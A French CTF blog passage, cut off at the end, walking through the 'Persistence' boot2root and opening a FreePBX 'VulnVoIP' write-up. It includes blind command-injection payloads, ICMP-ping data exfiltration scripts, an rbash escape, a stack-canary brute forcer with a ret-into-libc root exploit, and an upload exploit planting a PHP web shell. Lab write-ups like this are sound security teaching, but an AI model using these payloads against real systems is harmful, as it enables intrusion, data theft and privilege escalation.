Captain Obvious

Un seul port se révèle être ouvert : le 80.
L'index du site web contient seulement une image (The Persistence of Memory de Dali) ce qui m'amène à utiliser dirb (l'outil devenu indispensable pour les CTFs) pour trouver d'autres scripts.
Effectivement après avoir testé plusieurs dictionnaires il trouve un script debug.php à la racine.

Ce script demande la saisie d'une adresse IP à pinger. Aucun output n'est retourné.
En revanche si on utilise un sniffeur de paquets on remarque bien les requêtes ICMP.

Ping-pong en aveugle

Comment savoir si il est possible d'injecter des commandes quand on ne dispose pas de retour dans la page web ?
Si on entre une adresse IP suivie d'un point virgule puis d'une commande ping avec une autre adresse IP on voit alors une requête ARP pour la seconde adresse IP. Il est donc possible d'injecter des commandes.

Seulement en jouant avec ce script on remarque assez rapidement plusieurs choses :
  • beaucoup de commandes n'aboutissent pas
  • les connexions sortantes semblent filtrées (tout comme les entrantes mis à part pour le port 80, ce que Nmap nous indiquait).
Il y a fort à parier qu'il y ait soit un filtre assez complexe sur le champ de saisie soit on est dans un environnement restreint.

Mon adresse IP étant 192.168.1.3 (celle de la VM 192.168.1.21) j'ai utilisé des backticks avec un test conditionnel pour tester la présence de fichiers sur le système. Ainsi si je rentre le texte suivi dans le champ du formulaire :
-c 1 `[ -f /etc/passwd ] && echo 192.168.1.3`
j'obtiens bien un ICMP echo reply en retour.

En revanche avec
-c 1 `[ -f /usr/bin/cat ] && echo 192.168.1.3`
nada ! Alors qu'avec
-c 1 `[ -f /bin/bash ] && echo 192.168.1.3`
J'ai à nouveau un paquet ICMP. J'ai choisi de passer un moment à écrire un script me permettant d'énumérer les fichiers présents sur le système.
Une première partie émet simplement les requêtes HTTP à destination de debug.php et injecte la commande ping :
import requests
import fcntl
import time

hdrs = {"Content-Type": "application/x-www-form-urlencoded"}
data = {'addr': 'command'}

with open("/tmp/files.txt") as fd:
    while True:
        word = fd.readline()
        if not word:
            break
        word = word.strip()
        if not word:
            continue

        cmd = "-c 1 `[ -f {0} ] && echo 192.168.1.3`".format(word)
        data['addr'] = cmd

        fdout = open("/tmp/current_path", "w")
        fcntl.flock(fdout.fileno(), fcntl.LOCK_EX)
        fdout.write(word)
        fcntl.flock(fdout.fileno(), fcntl.LOCK_UN)
        fdout.close()

        requests.post("http://192.168.1.21/debug.php", data=data, headers=hdrs)
        time.sleep(0.1)
Le path du fichier en cours de vérification est placé dans le fichier local /tmp/current_path. Un système de lock empèche le second script de se prendre les pieds avec celui-ci.

Le second script est un sniffer en Python qui utilise la librairie Pcapy pour sniffer et Impacket pour décoder les trames réseau :
import pcapy
from impacket import ImpactDecoder, ImpactPacket
import fcntl

sniff = pcapy.open_live("eth0", 65536, 1, 0)
decoder = ImpactDecoder.EthDecoder()

while True:
    (header, packet) = sniff.next()
    ethernet = decoder.decode(packet)

    if ethernet.get_ether_type() == ImpactPacket.ARP.ethertype: # ARP
        continue
    elif ethernet.get_ether_type() == ImpactPacket.IP.ethertype: # ARP
        ip = ethernet.child()
        if ip.get_ip_p() == ImpactPacket.UDP.protocol:
            continue
        if ip.get_ip_p() == ImpactPacket.TCP.protocol:
            continue
        if ip.get_ip_p() == ImpactPacket.ICMP.protocol:
            icmp = ip.child()
            if icmp.get_icmp_type() == ImpactPacket.ICMP.ICMP_ECHO:
                if ip.get_ip_src() == "192.168.1.21" and ip.get_ip_dst() == "192.168.1.3":
                    fd = open("/tmp/current_path", "r")
                    fcntl.flock(fd.fileno(), fcntl.LOCK_EX)
                    buff = fd.read(1024)
                    fcntl.flock(fd.fileno(), fcntl.LOCK_UN)
                    fd.close()
                    print buff
J'ai ainsi récupérer la liste de fichiers suivants pour /etc :
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/nginx/nginx.conf
/etc/php.ini
Pour /bin :
/bin/ls
/bin/touch
/bin/uname
/bin/ping
/bin/bash
/bin/mkdir
/bin/su
/bin/echo
/bin/sh
ce qui est plutôt limité... et pour /usr/bin
/usr/bin/tr
/usr/bin/id
/usr/bin/xxd
/usr/bin/base64
/usr/bin/python
On est donc visiblement dans un chroot. Notez qu'il serait aussi possible de tester la présence de répertoires avec -d en bash.
Si on tente d'établir une connexion sortante via Python en injectant :
-c 1 `python -c 'import socket;socket.socket().connect(("192.168.1.3",21))';echo 192.168.1.3`
alors aucune connexion n'est établie, en revanche le script PHP prend un certain temps à répondre preuve que le firewall doit jeter la connexion au lieu de forcer sa fermeture.
A tout hasard j'ai essayé via Python de scanner les ports de la machine hôte depuis la VM en TCP et UDP : vraiment rien ne sort.

Le serveur web étant un nginx on trouve facilement via une recherche duckduckgo quel est le path par défaut. On peut confirmer le chemin du script debug.php avec cette commande :
-c 1 `[ -f /usr/share/nginx/html/debug.php ] && echo 192.168.1.3`
Malheureusement l'utilisateur nginx avec lequel s'effectue les commandes ne dispose d'aucun droit en lecture dans la racine web.
Tout n'est pas perdu : on peut exécuter des commandes, il ne nous manque seulement un moyen d'exfiltrer l'output via les paquets ICMP.

Injecter un payload dans la balle

Un petit tour dans la manpage de ping et on trouve finalement notre bonheur :
-p pattern
   You may specify up to 16 ``pad'' bytes to fill out the packet you send. This is useful for diagnosing data-dependent problems in a network.
   For example, -p ff will cause the sent packet to be filled with all ones.
Après quelques tests avec un Wireshark en parallèle on remarque qu'il faut aussi utiliser l'option -s qui permet de forcer la taille des données et ainsi avoir un décalage constant pour retrouver les données.
On utilisera ainsi ping de cette façon :
ping -p 4142434445464748495051525354555657 -s 32 192.168.1.3
Mais à la place des caractères hexa de ABCD... il faut inclure l'output de commandes ou bien la représentation hexadécimale d'un fichier. C'est là que xxd intervient. xxd est un visualiseur hexadécimal qui par défaut affiche les offsets, sépare les codes hexa en colonnes et affiche aussi la représentation textuelle.
Seulement avec l'option -p on peut obtenir un output plus brut. L'option -l permet quand à elle de spécifier la taille de données à afficher et enfin l'option -s permet de dire à quelle position du fichier on commence. Par exemple
xxd -p -l 16 -s 16 fichier
retourne les codes hexa des octets 16 à 32 de fichier.

On reprend notre script d'écoute précédent et on le rectifie pour qu'il puisse afficher directement les 16 derniers octets des paquets ICMP reçus :
import pcapy
from impacket import ImpactDecoder, ImpactPacket
import fcntl
import sys

sniff = pcapy.open_live("eth0", 65536, 1, 0)
decoder = ImpactDecoder.EthDecoder()

while True:
    (header, packet) = sniff.next()
    ethernet = decoder.decode(packet)

    if ethernet.get_ether_type() == ImpactPacket.ARP.ethertype: # ARP
        continue
    elif ethernet.get_ether_type() == ImpactPacket.IP.ethertype: # ARP
        ip = ethernet.child()
        if ip.get_ip_p() == ImpactPacket.UDP.protocol:
            continue
        if ip.get_ip_p() == ImpactPacket.TCP.protocol:
            continue
        if ip.get_ip_p() == ImpactPacket.ICMP.protocol:
            icmp = ip.child()
            if icmp.get_icmp_type() == ImpactPacket.ICMP.ICMP_ECHO:
                if ip.get_ip_src() == "192.168.1.21" and ip.get_ip_dst() == "192.168.1.3":
                    data = icmp.child().get_buffer_as_string()
                    l = len(data)
                    payload = data[l-16:]
                    sys.stdout.write(payload)
                    sys.stdout.flush()
et côté web :
import sys
import requests

fname = sys.argv[1]
hdrs = {"Content-Type": "application/x-www-form-urlencoded"}
data = {'addr': 'command'}

for i in range(0, 20000):
    ping_args = "-c 1 -s 32 -p `xxd -p -l 16 -s {0} {1}` 192.168.1.3".format(i*16, fname)
    data['addr'] = ping_args
    requests.post("http://192.168.1.21/debug.php", data=data, headers=hdrs)
La boucle permet d'itérer jusqu'à 20000 blocks de 16 octets. Normalement c'est inutile d'aller aussi loin mais ça m'a servi pour le php.ini qui était super long.
Parmi mes trophés on trouve le /etc/passwd :
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
nginx:x:498:498:Nginx web server:/var/lib/nginx:/bin/bash
apache:x:48:48:Apache:/var/www/sbin/nologin
Le fichier de configuration principal de nginx :
user  nginx;
worker_processes  1;

error_log  /var/log/nginx/error.log warn;
pid        /var/run/nginx.pid;


events {
    worker_connections  1024;
}


http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile        on;
    #tcp_nopush     on;

    keepalive_timeout  65;

    #gzip  on;

    include /etc/nginx/conf.d/*.conf;}

}
et le fichier /etc/nginx/conf.d/default.conf
# The default server
#
server {
    listen       80 default_server;
    server_name  _;

    #charset koi8-r;

    #access_log  logs/host.access.log  main;

    location / {
        root   /usr/share/nginx/html;
        index  index.php index.html index.htm;
    }

    error_page  404              /404.html;
    location = /404.html {
        root   /usr/share/nginx/html;
    }

    # redirect server error pages to the static page /50x.html
    #
    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }

    # proxy the PHP scripts to Apache listening on 127.0.0.1:80
    #
    #location ~ \.php$ {
    #    proxy_pass   http://127.0.0.1;
    #}

    # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
    #
    location ~ \.php$ {
        root           /usr/share/nginx/html;
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        include        fastcgi_params;
    }

    # deny access to .htaccess files, if Apache's document root
    # concurs with nginx's one
    #
    #location ~ /\.ht {
    #    deny  all   #}
}
Le php.ini ne nous est finalement d'aucune utilité et les fichiers récupérés ne sont malheureusement pas très utiles non plus.
Ça devient plus intéressant si on injecte un ls -alR d'un dossier de notre choix, que l'on redirige l'output vers un fichier dans /tmp et que l'on rapatrie cet output via notre script.

Je ne vous donne pas toutes les lignes que j'ai pu récupérer mais on découvre que dans /dev il n'y a que null, random et urandom, que dans /etc il n'y a que le script nécessaire mais il n'y a pas de rc.d ni de init.d et enfin qu'il n'y a pas de /root (ce qui confirme encore plus l'utilisation d'un chroot).

Par contre ce qui est intéressant c'est ceci :
/usr/share/nginx/html:
total 168
drwxr-xr-x. 2 root root   4096 Aug 16 04:02 .
drwxr-xr-x. 3 root root   4096 Mar 12 06:06 ..
-rwxr-xr-x. 1 root root    439 Mar 17 17:34 debug.php
-rw-r--r--. 1 root root    391 Mar 12 00:48 index.html
-rw-r--r--. 1 root root 146545 Mar 12 00:10 persistence_of_memory_by_tesparg-d4qo048.jpg
-rwsr-xr-x. 1 root root   5757 Mar 17 11:53 sysadmin-tool
D'abord par curiosité voici le contenu de debug.php :
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
        <head>
                <title>Debug Page</title>
        </head>
        <body>
                <form action="debug.php" method="post">
                Ping address: <input type="text" name="addr">
                <input type="submit">
                </form>
        </body>
</html>
<?php 
if (isset($_POST["addr"]))
{
        exec("/bin/ping -c 4 ".$_POST["addr"])}
?>
Ensuite le binaire setuid root sysadmin-tool est accessible via le navigateur (yes !).
Un strings permet d'obtenir une idée de ce qu'il fait
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
chroot
strncmp
puts
setreuid
mkdir
rmdir
chdir
system
__libc_start_main
GLIBC_2.0
PTRh 
[^_]
Usage: sysadmin-tool --activate-service
--activate-service
breakout
/bin/sed -i 's/^#//' /etc/sysconfig/iptables
/sbin/iptables-restore < /etc/sysconfig/iptables
Service started...
Use avida:dollars to access.
/nginx/usr/share/nginx/html/breakout
On injecte une commande pour appeler sysadmin-tool --activate-service et bing ! Un port 22 (SSH) est ouvert sur lequel on peut se connecter avec le login avida et le mot de passe dollars.

Prison break

Une fois connecté on a la joie (ou pas) de se retrouver dans un bash restreint (rbash) :
$ ssh avida@192.168.1.21
avida@192.168.1.21's password: 
Last login: Mon Mar 17 17:13:40 2014 from 10.0.0.210
-rbash-4.1$ ls -al
total 36
drwxr-x---. 3 root avida 4096 17 mars  12:40 .
drwxr-xr-x. 3 root root  4096 30 mai   19:04 ..
-rw-r-----. 1 root avida  100 17 mars  11:57 .bash_history
-rw-r-----. 1 root avida   10 17 mars  12:37 .bash_login
-rw-r-----. 1 root avida   10 17 mars  12:37 .bash_logout
-rw-r-----. 1 root avida   10 17 mars  12:37 .bash_profile
-rw-r-----. 1 root avida   32 17 mars  12:39 .bashrc
-rw-r-----. 1 root avida   10 17 mars  12:37 .profile
drwxr-xr-x. 3 root avida 4096 17 mars  12:40 usr
-rbash-4.1$ pwd
/home/avida
-rbash-4.1$ env
-rbash: env : commande introuvable
-rbash-4.1$ which vi vim python
-rbash: /usr/bin/which : restriction : « / » ne peut pas être spécifié dans un nom de commande
-rbash-4.1$ ls /
bin  boot  dev  etc  home  lib  lost+found  media  mnt  nginx  opt  proc  root  sbin  selinux  srv  sys  tmp  usr  var
-rbash-4.1$ cat .bash_history
ls -al
sudo
sudo -l
clear
exit
ls -al
cd /nginx/
ls -al
cd /nginx/usr/share/nginx/html/
ls -al
exit
-rbash-4.1$ sudo -l
-rbash: sudo : commande introuvable
-rbash-4.1$ python
-rbash: python : commande introuvable
-rbash-4.1$ find / -type f -name python 2> /dev/null
-rbash: /dev/null : restreint : impossible de rediriger la sortie
-rbash-4.1$ echo $PATH
/home/avida/usr/bin
-rbash-4.1$ export -p
--- snip ---
declare -x HOME="/home/avida"
declare -x HOSTNAME="persistence"
declare -x LOGNAME="avida"
declare -x MAIL="/var/spool/mail/avida"
declare -x OLDPWD
declare -rx PATH="/home/avida/usr/bin"
declare -x PWD="/home/avida"
declare -rx SHELL="/bin/rbash"
declare -x USER="avida"
Les variables d'environnement SHELL et PATH sont un lecture seule... Ce serait trop simple. Idem pas d'accès sur le système de fichiers.
Dans le seul path qui nous est laissé (/home/avida/usr/bin) on trouve la commande nice qui permet de passer des commandes et ainsi de s'échapper du rbash :
-rbash-4.1$ nice /usr/bin/sudo -l
[sudo] password for avida: 
Sorry, user avida may not run sudo on persistence.
Pour obtenir un shell on utilisera nice /bin/bash. Il faut ensuite corriger le PATH et la variable SHELL pour ne pas être embêté.

Shall we play a game ?

Avec notre nouveau shell on remarque dans les processus un programme wopr lancé par root :
root      1020  0.0  0.0   2004   412 ?        S    Sep08   0:00 /usr/local/bin/wopr
Ce programme n'est pas setuid mais qu'importe si on peut l'exploiter :
bash-4.1$ strings /usr/local/bin/wopr
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
socket
exit
htons
perror
puts
fork
__stack_chk_fail
listen
memset
__errno_location
bind
read
memcpy
setsockopt
waitpid
close
accept
__libc_start_main
setenv
write
GLIBC_2.4
GLIBC_2.0
PTRhP
[^_]
[+] yeah, I don't think so
socket
setsockopt
bind
[+] bind complete
listen
/tmp/log
TMPLOG
[+] waiting for connections
[+] logging queries to $TMPLOG
accept
[+] got a connection
[+] hello, my name is sploitable
[+] would you like to play a game?
[+] bye!
Un nm sur le binaire retourne la liste des fonctions importées et montre la présence d'une méthode interne baptisée get_reply.
Le binaire utitise les fonctions memcpy, read et setenv ainsi que les fonctions classiques de sockets.

Il écoute sur le port TCP 3333, affirme qu'il enregistre les requêtes dans $TMPLOG (défini à /tmp/log) sauf que ce n'est pas le cas d'après le code désassemblé.
Lors d'une connexion il fork(), lit les données puis les passe à get_reply que voici :
[0x080486c0]> pdf@sym.get_reply
|          ; CODE (CALL) XREF from 0x08048ad1 (fcn.080487de)
/ (fcn) sym.get_reply 106
|          0x08048774    55           push ebp
|          0x08048775    89e5         mov ebp, esp
|          0x08048777    83ec3c       sub esp, 0x3c
|          0x0804877a    8b4508       mov eax, [ebp+0x8]
|          0x0804877d    8945d8       mov [ebp-0x28], eax
|          0x08048780    8b450c       mov eax, [ebp+0xc]
|          0x08048783    8945d4       mov [ebp-0x2c], eax
|          0x08048786    8b4510       mov eax, [ebp+0x10]
|          0x08048789    8945d0       mov [ebp-0x30], eax
|          0x0804878c    65a114000000 mov eax, [gs:0x14]
|          0x08048792    8945fc       mov [ebp-0x4], eax
|          0x08048795    31c0         xor eax, eax
|          0x08048797    8b45d4       mov eax, [ebp-0x2c]
|          0x0804879a    89442408     mov [esp+0x8], eax
|          0x0804879e    8b45d8       mov eax, [ebp-0x28]
|          0x080487a1    89442404     mov [esp+0x4], eax
|          0x080487a5    8d45de       lea eax, [ebp-0x22]
|          0x080487a8    890424       mov [esp], eax
|          ; CODE (CALL) XREF from 0x08048622 (fcn.08048622)
|          ; CODE (CALL) XREF from 0x08048662 (fcn.08048662)
|          0x080487ab    e86cfeffff   call sym.imp.memcpy
|             sym.imp.memcpy(unk)
|          0x080487b0    c74424081b0. mov dword [esp+0x8], 0x1b ;  0x0000001b 
|          0x080487b8    c7442404148. mov dword [esp+0x4], str.___yeah_Idon_tthinkso ;  0x08048c14 
|          0x080487c0    8b45d0       mov eax, [ebp-0x30]
|          0x080487c3    890424       mov [esp], eax
|          0x080487c6    e8c1fdffff   call sym.imp.write
|             sym.imp.write()
|          0x080487cb    8b45fc       mov eax, [ebp-0x4]
|          0x080487ce    65330514000. xor eax, [gs:0x14]
|          0x080487d5    7405         je 0x80487dc
|          0x080487d7    e880feffff   call sym.imp.__stack_chk_fail
|             sym.imp.__stack_chk_fail()
|          0x080487dc    c9           leave
\          0x080487dd    c3           ret
A l'entrée de cette méthode eax et ecx pointent vers la chaine reçue et edx vaut 512 ce qui est la taille maxi utilisée par recv.
Seulement cette chaîne est copiée via memcpy à l'adresse ebp-0x22 soit 34 octets avant d'écraser l'ancien frame pointeur. Il y a donc un stack overflow.

La difficulté ici réside dans la présence de __stack_chk_fail qui vérifie la présence d'un stack-cookie situé en ebp-0x4.
Il est défini à l'adresse 0x0804878c (récupéré depuis gs:0x14), sauvé dans ebp-0x4 puis cette valeur sauvé est comparée en 0x080487cb avec la valeur initiale.
Par conséquent on ne peut pas écraser l'adresse de retour sans avoir aussi écrasé le stack cookie qui quitte prématurément le programme :(
Ainsi si on envoie 64 caractères A sur notre wopr en local :
$ ./wopr
[+] bind complete
[+] waiting for connections
[+] logging queries to $TMPLOG
[+] got a connection
*** stack smashing detected ***: ./wopr terminated
======= Backtrace: =========
/lib/libc.so.6(+0x6dd33)[0xf763cd33]
/lib/libc.so.6(__fortify_fail+0x45)[0xf76ce925]
/lib/libc.so.6(+0xff8da)[0xf76ce8da]
./wopr[0x80487dc]
[0x41414141]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:02 543264                             /tmp/persistence/wopr
08049000-0804a000 r--p 00000000 08:02 543264                             /tmp/persistence/wopr
0804a000-0804b000 rw-p 00001000 08:02 543264                             /tmp/persistence/wopr
09dde000-09dff000 rw-p 00000000 00:00 0                                  [heap]
f75ce000-f75cf000 rw-p 00000000 00:00 0 
f75cf000-f777a000 r-xp 00000000 08:02 788334                             /lib/libc-2.18.so
f777a000-f777b000 ---p 001ab000 08:02 788334                             /lib/libc-2.18.so
f777b000-f777d000 r--p 001ab000 08:02 788334                             /lib/libc-2.18.so
f777d000-f777e000 rw-p 001ad000 08:02 788334                             /lib/libc-2.18.so
f777e000-f7781000 rw-p 00000000 00:00 0 
f7796000-f77b1000 r-xp 00000000 08:02 788012                             /lib/libgcc_s.so.1
f77b1000-f77b2000 r--p 0001a000 08:02 788012                             /lib/libgcc_s.so.1
f77b2000-f77b3000 rw-p 0001b000 08:02 788012                             /lib/libgcc_s.so.1
f77b3000-f77b4000 rw-p 00000000 00:00 0 
f77b4000-f77b6000 rw-p 00000000 00:00 0 
f77b6000-f77b7000 r-xp 00000000 00:00 0                                  [vdso]
f77b7000-f77d8000 r-xp 00000000 08:02 788829                             /lib/ld-2.18.so
f77d8000-f77d9000 r--p 00020000 08:02 788829                             /lib/ld-2.18.so
f77d9000-f77da000 rw-p 00021000 08:02 788829                             /lib/ld-2.18.so
ffb6d000-ffb8e000 rw-p 00000000 00:00 0                                  [stack]
Que peut-on dire d'autre ?
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   wopr
La pile est malheureusement non-exécutable et l'ASLR n'est pas activé sur la VM (une bonne nouvelle).
Le déboguage en local du programme permet de déterminer plus facilement les adresses que l'on aura à écraser.
Pour cela il faut utiliser la commande gdb set follow-fork-mode child qui indique à gdb de tracer le processus fils lors d'un fork().

Si on envoie une chaîne générée via Python ("A" * 30 + "CCCC" + "D"*4 + "E"*4 + "F"*4 + "G"*4 + "H" * 4) alors :
  • esp pointe vers AAAA...
  • le cookie (canary) est écrasé par CCCC
  • l'adresse de retour est écrasée par EEEE
La procédure d'attaque est la suivante : on ne peut pas utiliser la stack en raison de NX et on ne peut pas non plus placer un shellcode en environnement car le programme est déjà en fonctionnement, il faut donc profiter de l'absence de l'ASLR pour faire un ret-into-libc.

Via gdb on trouve l'adresse de system :
(gdb) p system
$1 = {<text variable, no debug info>} 0x16c210 <system>
Notez que l'adresse de system comporte un octet nul qui est, comme expliqué sur le CTF Xerxes2, un mécanisme de protection de gcc.

Mais comme on n'est pas en face d'un strcpy les octets nuls n'ont pas d'importance.
Il nous faut aussi l'adresse d'une chaîne correspondant au path d'un fichier sur le système. Ici il y a une chaîne fixe dans le binaire : /tmp/log qui est à 0x08048c60.

On sait donc ce que l'on va mettre sur la stack... Ne nous reste plus que le canary :(

memcpy a l'avantage d'écrire strictement ce qu'on lui demande : il n'ajoute pas de zéro terminal.
Par conséquent si on écrase le premier octet du canary par la valeur qui était déjà présente alors le programme fonctionnera correctement. Il retournera dans le main depuis get_reply et enverra "bye" sur la socket.
Si on écrase cet octet par une valeur différente alors __stack_chk_fail sera appelé et "bye" ne sera pas envoyé.

Il suffit donc d'essayer toutes les valeurs possibles pour ce premier octet, trouver la bonne valeur puis passer à l'octet suivant du canary et ainsi de suite.
Comme le programme fork() la valeur du canary reste constante à l'exécution du programme (la mémoire du processus est recopiée par fork()) on peut donc bruteforcer octet par octet sans crainte.

Le code suivant permet de retrouver le canary :
import socket
import struct
import time

canary = ""

for i in range(0, 4):
        for byte in xrange(0, 0xff):
                s = socket.socket()
                s.connect(("127.0.0.1", 3333))
                s.recv(1024)
                buff = "A" * 30
                buff += canary + chr(byte)
                s.send(buff)
                buff  = s.recv(2014) # [+] yeah, I don't think so
                buff += s.recv(1024) # [+] bye! or empty
                if "bye" in buff:
                        canary += chr(byte)
                        print "canary = " + canary.encode("hex_codec")
                        break
                s.close()
En local l'exécution est quasi-immédiate. Sur la VM c'est plus lent, peut être le fait de l'avoir bourriné avant :p
On obtient ce résultat :
canary = 77
canary = 77b7
canary = 77b717
canary = 77b717d5
Le canary est à lire en sens inverse, sa valeur est 0xd517b777.
On a maintenant toutes les informations en main.

J'ai écrit et compilé le programme suivant qui ne demande qu'à devenir setuid root.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
{
  setuid(0);
  setgid(0);
  system("/bin/bash");
  return 0;
}
et j'ai créé le script shell /tmp/log suivant (ne pas oublier de le rendre exécutable) :
#!/bin/bash
chown root.root /tmp/getroot
chmod u+s /tmp/getroot
Voici l'exploit final :
import socket
import struct

canary = 0xd517b777

s = socket.socket()
s.connect(("127.0.0.1", 3333))
s.recv(1024)

buff  = "A" * 30
buff += struct.pack("I", canary)
buff += "Z" * 4 # saved-ebp
buff += struct.pack("I", 0x0016c210) # adresse de system
buff += "A" * 4 # garbage
buff += struct.pack("I", 0x08048c60) # adresse de /tmp/log

s.send(buff)
s.recv(2014)
s.close()
Une fois exécuté, le processus wopr exécute /tmp/log via system() ce qui rend notre binaire getroot setuid root et nous ouvre la porte :)
bash-4.1# cat flag.txt
              .d8888b.  .d8888b. 888
             d88P  Y88bd88P  Y88b888
             888    888888    888888
888  888  888888    888888    888888888
888  888  888888    888888    888888
888  888  888888    888888    888888
Y88b 888 d88PY88b  d88PY88b  d88PY88b.
 "Y8888888P"  "Y8888P"  "Y8888P"  "Y888

Congratulations!!! You have the flag!

We had a great time coming up with the
challenges for this boot2root, and we
hope that you enjoyed overcoming them.

Special thanks goes out to @VulnHub for
hosting Persistence for us, and to
@recrudesce for testing and providing
valuable feedback!

Until next time,
      sagi- & superkojiman

Classé dans : Non classé - Mots clés : aucun

Solution du CTF HackLAB : VulnVoIP

Rédigé par devloop - -

Nitro

Après les CTFs Vulnix et VulnVPN voici mon writeup pour le dernier de la série HackLAB (du moins au moment de ces lignes) : VulnVoIP.

L'objectif final du challenge est d'obtenir un accès root mais aussi de trouver les utilisateurs VoIP et d'obtenir un accès à la boîte vocale du compte Support.

Let's go

Nmap scan report for 192.168.1.67
Host is up (0.0075s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 1f:e2:e8:9e:2c:f8:31:39:36:f7:1d:aa:77:5e:ac:76 (DSA)
|_  2048 38:a4:9d:29:8a:11:9d:e1:13:5d:5e:6d:76:a6:63:76 (RSA)
53/tcp   open  domain     dnsmasq 2.45
| dns-nsid: 
|   id.server: dns-resolver19-cbv4-pr
|_  bind.version: dnsmasq-2.45
80/tcp   open  http       Apache httpd 2.2.3 ((CentOS))
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: FreePBX
111/tcp  open  rpcbind    2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1            964/udp  status
|_  100024  1            967/tcp  status
3306/tcp open  mysql      MySQL (unauthorized)
4445/tcp open  upnotifyp?
MAC Address: 00:0C:29:84:C0:91 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.18 - 2.6.32
Network Distance: 1 hop
Je vais m'attarder sur le site web (port 80). Un scan UDP rapide révèle aussi les ports suivants :
PORT     STATE SERVICE
111/udp  open  rpcbind
5353/udp open  zeroconf
Quand on se rend sur la racine web on trouve une page web avec deux liens, l'un vers l'interface /admin/ protégée par mot de passe (authentification HTTP) ainsi qu'un lien vers /recordings/ qui demande là encore la saisie d'identifiants mais semblent destiné à plusieurs comptes utilisateurs.

Cette page de login /recordings/ indique que l'on a affaire à une version 2.6 de FreePBX. Une indication informe qu'il faut se connecter avec l'extension comme nom d'utilisateur et comme mot de passe le même que celui du téléphone (donc très certainement numérique).

Recordings FreePBX

Un coup de buster via le récent module Wapiti du même nom permet de trouver des ressources supplémentaires comme sur /panel/ où l'on trouve une interface web (baptisée Flash Operator Panel) qui liste des utilisateurs avec leur extension téléphonique.

FreePBX Flsh Panel

J'ai jeté aussi un coup d’œil dans les modules Metasploit : deux modules existent mais je n'ai pas eu de résultats probants et suis resté en "manuel".
exploit/unix/http/freepbx_callmenum      2012-03-20       manual     FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution
exploit/unix/webapp/freepbx_config_exec  2014-03-21       excellent  FreePBX config.php Remote Code Execution
Après plusieurs tentatives sur /recordings/ je trouve le mot de passe 000 pour le compte support (extension 2000).
Une fois connecté on trouve deux messages enregistrés (au format wav) à télécharger. L'un est simplement "Good bye" mais l'autre est le suivant :
Hey Mark, I think the support web access account has been compromised.
I have changed the password to securesupport123 all one word and lowercase.
You can log using the usual address.
See you in the morning.

PBXploitation

Via l'interface /admin/ il est alors possible de se connecter avec support / securesupport123.
Le numéro de version affiché pour FreePBX est ici le 2.7.0.0.
Il faut croire que l'auteur du challenge a installé des parties de deux versions différentes (peut être pour fournir des vulnérabilités spécifiques).

Comme l'exploit de Metasploit pour la faille d'upload n'avait pas l'air d'aboutir je me suis basé sur un advisory de Trustwave's SpiderLabs trouvé sur exploit-db et j'ai codé l'exploit suivant (du coup je l'ai soumis à SecurityFocus au cas où) :
import requests
import random
import string
import sys

# Original advisory : http://www.exploit-db.com/exploits/15098/

print("devloop exploit for FreePBX <= 2.8.0 (CVE-2010-3490)")
if len(sys.argv) != 4:
    print("Usage: {0} <url_to_freepbx_admin_directory> <username> <password>")
    sys.exit()

BASE = sys.argv[1]
USER = sys.argv[2]
PASS = sys.argv[3]
KEYW = "devloop"

if not BASE.endswith("/"):
    BASE += "/"

sess = requests.session()
creds = (USER, PASS)

r = sess.get(BASE + "config.php", auth=creds)
if "Logged in:" in r.content:
    print("[+] Connection successful")
else:
    print("[!] Unable to login... check credentials and url")
    sys.exit()

data = {
    'action': 'recorded',
    'display': 'recordings',
    'usersnum': '../../../../../var/www/html/admin/{0}'.format(KEYW),
    'rname': "".join([random.choice(string.hexdigits) for _ in xrange(10)]),
    'Submit': 'Save'
    }

content = "<?php system($_GET['cmd']); ?>"
files = {
